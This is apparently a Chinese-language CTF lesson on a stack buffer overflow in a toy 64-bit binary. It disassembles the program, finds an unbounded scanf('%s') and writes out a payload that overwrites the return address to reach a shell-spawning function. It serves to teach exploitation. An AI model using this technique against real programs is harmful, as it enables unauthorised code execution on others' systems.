# 簡單 Buffer Overflow Demo
###### tags: `pwn`, `BOF`, `demo`
```bash!
$ file helloctf
helloctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a071af412b279d39a74f5f0099754f9d366e2a9, not stripped
```
- 會發現是 64-bit ELF 執行檔。
- 首先,先進行靜態分析。
- 不要冒然就執行起來,這樣是一件很危險的事!
- 先反組譯一下:
- `-d` 是只反組譯 executable sections 的部分
```asm
objdump -d -M intel helloctf | less
...
0000000000400644 <main>:
400644: 55 push rbp
400645: 48 89 e5 mov rbp,rsp
400648: 48 83 ec 10 sub rsp,0x10
40064c: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x0
400653: 00
400654: 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp-0x8],0x0
40065b: 00
40065c: 48 8b 05 e5 09 20 00 mov rax,QWORD PTR [rip+0x2009e5] # 601048 <stdout@@GLIBC_2.2.5>
400663: be 00 00 00 00 mov esi,0x0
400668: 48 89 c7 mov rdi,rax
40066b: e8 90 fe ff ff call 400500 <setbuf@plt>
400670: 48 8d 3d d5 00 00 00 lea rdi,[rip+0xd5] # 40074c <_IO_stdin_used+0xc>
400677: b8 00 00 00 00 mov eax,0x0
40067c: e8 8f fe ff ff call 400510 <printf@plt>
400681: 48 8d 45 f0 lea rax,[rbp-0x10]
400685: 48 89 c6 mov rsi,rax
400688: 48 8d 3d d0 00 00 00 lea rdi,[rip+0xd0] # 40075f <_IO_stdin_used+0x1f>
40068f: b8 00 00 00 00 mov eax,0x0
400694: e8 97 fe ff ff call 400530 <__isoc99_scanf@plt>
400699: 48 8d 45 f0 lea rax,[rbp-0x10]
40069d: 48 89 c6 mov rsi,rax
4006a0: 48 8d 3d bb 00 00 00 lea rdi,[rip+0xbb] # 400762 <_IO_stdin_used+0x22>
4006a7: b8 00 00 00 00 mov eax,0x0
4006ac: e8 5f fe ff ff call 400510 <printf@plt>
4006b1: b8 00 00 00 00 mov eax,0x0
4006b6: c9 leave
4006b7: c3 ret
4006b8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4006bf: 00
...
```
- 首先,上面這三行,push rbp, mov, sub 是 function prologue 的部分
- 老師上課有教,忘記的同學記得複習一下。
- 最下面這兩行,leave, ret,是 function epilogue 的部分。
- 接下來,會發現有很多的組語。
- 這麼多要怎麼看呢?這邊教大家一下,我通常會看 `call` 的部分:
- 這邊有一個 setbuf:
```asm
40066b: e8 90 fe ff ff call 400500 <setbuf@plt>
```
- 這邊有一個 printf:
```asm
40067c: e8 8f fe ff ff call 400510 <printf@plt>
```
- 這邊有一個 scanf:
```asm
400681: 48 8d 45 f0 lea rax,[rbp-0x10]
400685: 48 89 c6 mov rsi,rax
400688: 48 8d 3d d0 00 00 00 lea rdi,[rip+0xd0] # 40075f <_IO_stdin_used+0x1f>
40068f: b8 00 00 00 00 mov eax,0x0
400694: e8 97 fe ff ff call 400530 <__isoc99_scanf@plt>
```
- 一個一個看一下來,會發現 scanf 這邊有漏洞!我們可以看一下它的參數。
- 記得 calling convention,第一個參數是 rdi。
- 這邊有寫,rdi 的位置是 `40075f`。
- `40075f` 在哪裡呢?這時候可以使用 gdb,靜態看記憶體內容:
```gdb
gef➤ x/s 0x40075f
0x40075f: "%s"
```
- 它的第二個參數是 rsi,也就是 `[rbp-0x10]` 的位置。
- 畫成圖就是:...
- 可以看到,它有 0x10 的空間,但是 scanf %s 卻會 overflow。
- 因此,我們可以透過 overflow:
- 1. 先填滿 buffer
- 2. 再蓋掉 rbp
- 3. 最後,把 return address 寫成 magic 的位置
- magic 的位置是在 `400627`:
```asm
0000000000400627 <show_me_magic>:
```
- 這時候,我會習慣用 python 來產生 payload:
- 注意 little endian 的問題。
```python
>>> b'A' * 0x10
b'AAAAAAAAAAAAAAAA'
>>> b'A' * 0x10 + b'BBBBBBBB' # rbp 的部分
b'AAAAAAAAAAAAAAAABBBBBBBB'
>>> b'A' * 0x10 + b'BBBBBBBB' + b'\x27\x06\x40\x00\x00\x00\x00\x00' # \x40\x06\x27
b"AAAAAAAAAAAAAAAABBBBBBBB'\x06@\x00\x00\x00\x00\x00"
```
```py
>>> open('payload.txt', 'wb').write(b'A' * 0x10 + b'BBBBBBBB' + b'\x27\x06\x40\x00\x00\x00\x00\x00')
32
```
```bash
$ xxd payload.txt
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4242 4242 4242 4242 2706 4000 0000 0000 BBBBBBBB'.@.....
```
- 確定 payload 沒問題後,就可以送進程式了:
```bash
$ cat payload.txt | ./helloctf
Say hello to ctf: AAAAAAAAAAAAAAAABBBBBBBB'@ ctf!!!
$
```
- 這樣為什麼不 work 呢?
- 因為 `cat` 這支程式送完 input 後,pipe 就關掉了。
- `helloctf` 吃到了 input,成功開啟 shell,但是它的 stdin 已經 end of file 了。
- 所以 shell 產生了以後,什麼事都沒做就結束了。
- 解決方法,就是把 terminal input 接在後面:
- `cat -` 的意思是把 terminal 當作 input,cat 出來。
```bash
$ (cat payload.txt; cat -) | ./helloctf
Say hello to ctf:
AAAAAAAAAAAAAAAABBBBBBBB'@ ctf!!!
ls
helloctf payload.txt
```